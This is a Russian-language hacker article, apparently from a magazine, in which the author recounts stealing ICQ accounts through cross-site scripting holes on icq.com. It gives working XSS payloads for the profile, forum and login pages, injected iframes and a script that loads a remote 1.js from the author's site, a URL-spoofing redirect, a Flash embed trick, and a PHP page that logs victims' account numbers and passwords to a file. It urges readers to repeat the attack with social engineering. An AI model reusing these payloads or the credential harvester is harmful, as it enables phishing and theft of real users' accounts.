На главную

Имеем пользователей icq.com

Как я угоняю уины через дыры в icq.com

Как известно, большинство сайтов в Сети являются уязвимыми. И не обязательно это обычные домашние странички: нередко баги можно встретить даже у таких гигантов, как Майкрософт, NASA и ICQ. Хотя администраторы и научились защищать свои творения от php-инклудов и sql-инъекций, CSS дыры как были, так и остаются. А все оттого, что, по мнению многих глупых админов, через CSS ничего серьезного сотворить нельзя. Надеюсь, моя статья сегодня развеет это приевшееся мнение. Я расскажу, как я угоняю icq-уины через баг на сайте icq.com.

[intro]

Это была поистине удачная неделя: sql-инъекция на одном из сайтов NASA, дыры во phrack.org и еще масса завораживающих воображение найденных уязвимостей. Вот оказывается, какое вдохновение находит на человека, когда вся его родня на неделю сваливает на дачу. В общем, творческий рай для хакера :).

Итак, история эта началась, как не удивительно, ночью. Сидел я и изучал новый установленный icq-клиент qip, и переметнуло меня на поиск багов в самом главном серванте всех айсикьюшников - icq.com. Давно собирался, честно говоря, но начал именно после знакомства с новым клиентом.

[CSS через icq клиент]

На сайте icq можно просмотреть профайл любого пользователя, зарегистрированного в системе. При этом можно посмотреть его аватарку, личные данные, и даже накатать ему сообщение. Ну, ты знаешь. К примеру, профайл моего бывшего уина 559822, находится по адресу: www.icq.com/whitepages/wwp.php?to=559822. Копаясь в клиенте, меня осенило: а что если осуществить межсайтовый скриптинг на этой странице? Вопрос: «Как?» Ответ: «Очень просто». В настройках пользователя клиента, вводим данные, они загружаются на сайт и отображаются (срабатывают) на странице профайла. В принципе все легко, но оказалось, что есть всего два уязвимых параметра: «Имя» и «Фамилия». Поле «Ник» отбросим: он нам не интересен :). Но тут еще один облом: ограничение на количество вводимых символов. Поэтому для локального алерта, к примеру, пришлось прибегнуть к той штуке, которую ты видишь на скрине под номером 1. То есть вбить в поле «Имя» первую часть элементарного скрипта, а завершающую часть разместить в поле «Фамилия».

Казалось бы, что тут можно придумать с такими ограничениями. Но мне посчастливилось найти еще один уязвимый параметр, в котором количество вводимых символов было равно 80 - это «Домашняя страница». Правда с этим параметром будь осторожней: у меня так забанилось несколько уинов. Хотя вполне возможно, что это не бан, а просто qip сходит с ума. Точно не знаю, но уины ушли навсегда :(.

Для чего это можно использовать? К примеру, можно уводить чужие уины, ну, или в крайнем случае, можно здорово поприкалываться. Скажем, можно разместить в собственном профайле скрипт редиректа на свой сайт и стебаться над удивлением людей, заходящих посмотреть профайл :). Вот так, как у меня, полюбуйся: www.icq.com/whitepages/wwp.php?to=559822

[дырки на форуме сайта icq.com]

В чем нам очень повезло, так это в том, что на icq.com практически все сервисы находятся в одном поддомене. Следовательно, шансы найти подходящую дыру и увести нужные кукисы заметно подрастают :).

Продолжая свои исследования, я залез на форум. Авторизация проще некуда, что меня очень обрадовало. Для авторизации нужно ввести в поле «Логин» свой уин или примари, в поле «Пароль» - свой пароль к уину (который, как ты понимаешь, очень часто подходит и к примари). Уже интересно, теперь осталось только найти CSS дырку в форуме.

Скажу честно, я чуть со смеху не умер после первого теста на CSS. Даже не успел копнуть bb-тэги, как уязвимый параметр был найден. Им оказалось поле Subject при ответе в теме. В режиме preview ничего не фильтровалось, что уже предвещало большие возможности. Проверив на себе действие составленного скриптового сплоита (пока локального): "><script>alert(document.cookie)</script>, на моем лице появилась улыбка.

Я словил собственные кукисы, которые выглядели, как показано на рисунке 3.

Таким образом, я убедился в том, что все проходит более-менее успешно. Но при окончательном посте сообщения, просмотрев сорс страницы, я увидел, что фильтруется любое проявление слэшей и двойных кавычек:

title=""><script src=http://my_site/1.js></script>">………" >"><script src=http://my_site/1.js></sc...</a>

Планы рушатся. Максимум, что тут можно сделать - вставить алерт, например: <img src=javascript:alert('Pink_cool')>, но ничего более серьезного отсюда не выжать. Не помог обход фильтрации и разнообразная перекодировка слэша и кавычек.

[новая маза]

Тут я заметил одну штуку: если кликнуть на название своего поста или просмотреть список всех своих постов, можно словить вставленную CSS. Меня такое не устраивало, тем более, что второй параметр в заголовке сообщения полностью фильтровался, и поэтому над своим ником я видел отображенный скрипт, по которому и стоило кликать :).

Пришлось начать поиски других уязвимостей. Оставив в покое «Ответ в тему с цитированием», я нажал кнопку «Начать новую тему». Вот тут, в режиме preview, в поле Subject/Question не работал ни один скрипт, все жестко фильтровалось. Немного отчаявшись, я все же запостил тему. В списке всех тем, в разделе, я увидел, что мой скрипт выдает себя с головой. Ну что ж, работают фильтры.

Я автоматом кликнул на тему, началась загрузка, и, о чудо, скрипт сработал! Никаких фильтров внутри темы не оказалось и нужная активная CSS была найдена. Конечно, очень обламывало, что в списке тем моя сильно палилась, названием которой выступал мой скриптовый сплоит. Но с этим, к сожалению, ничего не поделать, ведь даже при переводе его в другую кодировку, чтоб хоть немного запутать пользователей, скрипт в теме работать не хотел.

Такая вот забавная фильтрация, и такие вот глупые админы. Но, как ты понимаешь, красть кукисы смысла нет, так как в чистом виде мы получаем только уин (примари) и ник, но не пароль, а вытягивать его, например, из сессии нереально, так как скорее всего ее идентификатор никак не связан с паролем.

Можно было бы поэкспериментировать с подстановкой чужих куков (это если вдруг к сессии не был привязан айпи настоящего пользователя), но меня даже на эксперимент эта идея не вдохновила. Единственное, что я мог получить, - это доступ в чужой личный кабинет (именно форумный) и возможность постить сообщения от другого пользователя. Каким-либо образом узнать или сменить пароль/инфу через профайл было невозможным, поэтому я пошел другим путем - путем прямой кражи паролей через фейк-страницы авторизации.

Еще, забыл сказать, при посте сообщения, рядом со своей аватаркой, мы имеем 2 ссылки, одна из которых ведет в профайл, указанный в самом начале статьи, а другая, в профайл, находящийся примерно по следующему адресу: www.icq.com/whitepages/about_me.php?uin=559822. Само собой, этот профайл тоже дырявый :).

[идея и дальнейшие исследования]

Идея моя выглядела так: в форум кидаем сообщение со скриптом, редиректящим пользователя попавшего под воздействие этой CSS на страницу с фейком, расположенным на моем сайте, который выглядит, как главная страница авторизации на форуме. Пользователь вводит свои данные и переходит опять на форум, тем временем, все введенные им данные сохраняются у меня. Но одно дело сказать…. Ведь пользователь сразу спалит подделку, если в адресной строке браузера будет написано что-то типа: http//panterka-zloy-hacker.h15.ru/razvod.php. Тут можно было пойти 2-мя путями: или использовать для обмана url spoofing, или найти еще одну пассивную уязвимость (желательно на странице авторизации на форум) и встроить в нее iframe, через который отображался бы мой фейк.

Я сбегал в ночной магазин за двумя бутылочками пивка и принялся искать новые CSS. Прошло 15 мин, и уже было выделено 3 пассивных уязвимости, одна из которых, находилась именно в странице авторизации. Вот ее url с уже встроенным опасным скриптом:

www.icq.com/karma/login_page.php?dest=http%3A%2F%2Fwww.icq.com%2Fboards%2F&sv=2&css=boards.css"><iframe%20src=http://my_site/login.php%20height=100%%20width=100%%20scrolling=no%20frameborder=0>

Теперь, переведя особо палевные моменты в uri кодировку, получим:

www.icq.com/karma/login_page.php?dest=http%3A%2F%2Fwww.icq.com%2Fboards%2F&sv=2&css=boards.css%22%3E%3Ciframe%2520src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php%2520height%3D100%25%2520width%3D100%25

Как видишь, я создал ифрейм, в котором будет отображаться наш фейк, расположенный на моем сайте, но…на данной странице (www.icq.com/karma/login_page.php) оказалось целых 3 уязвимых параметра, а это означает, что мы будем видеть целых три 100% ифрейма, отображающихся сверху вниз. Конечно, не все это заметят, но, не желая рисковать, пришлось взять другую уязвимость - в форумном поисковике:

www.icq.com/icq_preferences/sig_preview.php?sig=<script>alert(document.cookie)</script>

Тут меня тоже ждала неудача - ограничение на количество вводимых символов. В итоге, я остановился на 3 CSS. Вот ее url с уже оформленным iframe. Опять же, зашифровав все лишнее и некрасивое, получим:

www.icq.com/icq_preferences/sig_preview.php?sig=%3Ciframe+src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php+height%3D100%25+width%3D100%25+scrolling=no+frameborder=0%3E

Все прошло успешно, скрипт лишь немного палится в title страницы, но, в принципе, все отлично.

Для общего развития я решил рассмотреть еще один вариант обмана - url spoofing. Эта идея уже рассматривалась в журнале, а именно №3 2004, стр.64, так что особых сложностей у тебя вызвать не должна. Для осуществления подставы, надо чтоб у жертвы в браузере сработал такой вот код:

<script>location.href=unescape('http://www.icq.com|login.php%01@www.my_site/login.php');</script>

Браузером должен быть не обновленный осел. К сожалению, в первом адресе скрипта, нельзя использовать слэши, поэтому пришлось довольствоваться вертикальной чертой. Хотя, возможно, ты придумаешь, что-нибудь покрасивее :).

[а теперь о самом фейке]

А тут, вообще, ничего сложного. Просто сохраняем страницу авторизации на винт и немного правим, а именно - изменяем параметр action, указывая вместо www.icq.com/karma/login.php свой файл check.php. Сам же check.php будет выглядеть так:

check.php

<?php

$fp=fopen("logi.html", "a"); //открываем файл logi.html для дозаписи в конец файла

fwrite($fp, "$uin_email : $password<br/>"); //дозаписываем связку уин (примари):пароль

fclose($fp); //закрываем файл

header("location:http://icq.com/boards/"); //редиректим на главную страницу форума

?>

Теперь зальем эти 2 файла, а также файл logi.html, на сайт с поддержкой php (в данном случае это мой сайт - my_site). Вот и все, фейк готов! Не забудь только выставить правильный chmod.

[собираем все воедино]

Так как уязвимый параметр Subject/Question не принимал более 55 знаков, пришлось прибегнуть к одной хитрости. В форуме я создал тему с заголовком "><script src="http://my_site/1.js"></script>. Потом создал файл 1.js, в который поместил такую вот строку:

location.href=unescape('http://www.icq.com|login.php%01@www.my_site/login.php');

или для работы с ифреймом:

location.href='http://www.icq.com/icq_preferences/sig_preview.php?sig=%3Ciframe+src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php+height%3D100%25+width%3D100%25+scrolling=no+frameborder=0%3E';

Размещенный на форуме сплоит грузил с моего сайта скрипт 1.js, который, в свою очередь, редиректил всех, кто находился на данной странице форума, на мой фейк. Пользователь-жертва, думал, что это глюк форума и заново авторизировался, тем самым, оставляя мне свои уины/примари и пароли, и после попадал обратно на доску как ни в чем не бывало.

Вот и все. Теперь задача стоит над тем, как удержать украденные уины у себя, но зная уин/примари и пароль, это уже не проблема :).

[самый дырявый сайт года :)]

Пока писал статью, в закрытых и паблик разделах античата начался глобальный поиск багов в icq.com, и уже сейчас там есть очень интересные разработки (множество пассивных CSS, дырки, позволяющие угнать айсикьюшное мыло и т.д.). В то же время, когда статья уже была дописана, мной было найдено еще несколько CSS на icq.com. Так что делай выводы и продолжай исследования.

Как видишь, скрипт, помещенный в форум, выдает себя с головой, что немного портит наши планы (но даже несмотря на это, мне везло, и уины сами шли ко мне в лапы :)). Но не опускай руки, ведь что мешает просто кинуть ссылку в форум и заставить пользователя пройтись по ней или отправить форумчанину сообщение с этой ссылкой. Но помни, что результат полностью зависит только от тебя, так как тут без хороших навыков социального инженеринга не обойтись. Можно также поместить вредоносные скрипты в свой профайл, а потом просто гулять по форуму и творить беспредел. Как минимум, 5 пользователей из 10 да заглянет к тебе в профайл, прежде чем уин забанят :).

Flash-CSS атака

Иногда провести CSS-атаку стандартными методами невозможно. В таком случае тебе может помочь очень простой и интересный способ. Я говорю про флеш-атаку. Для этого тебе потребуется создать во Flash-редакторе какую-то картинку и в параметр getURL вписать ссылку, к примеру, с редиректом на фейк через пассивную CSS (См. скрин.). После, в поле Subject, надо прописать: <embed src=http://my_site/1.swf>.

WWW

Заходи чаще на antichat.ru, и ты будешь в курсе всех событий, связанных с различного рода инъекциями. Также, если тебе что-нибудь непонятно, или есть какие-нибудь вопросы, ты всегда сможешь найти меня на сайтах: hackzona.ru и antichat.ru. Обращайся, постараюсь помочь.

INFO

Пока я экспериментировал с форумом, мне пришел мессадж от админа или модера форума, но так как я его не сохранил, не запомнил. Просто приведу по памяти его очень стебное содержание.: «Здравствуй, дорогой. Посмотри, что ты наделал в форуме своими скриптами. Если хочешь посмотреть, пройдись по ссылке http://icq.com/boards/моя_тема_где_я_напортачил, а если не хочешь, пройдись сюда: www.icq.com» Такой вот ЛОЛ. Стебаться - не перестебаться :).

WARNING

Все то, что написано в статье, а также все мои советы противозаконны и могут преследоваться УК твоей страны. Автор и редакция не несут ответственности за твои подвиги :).

(Администратор не несет ответственности (Автор Денис Евгеньевич)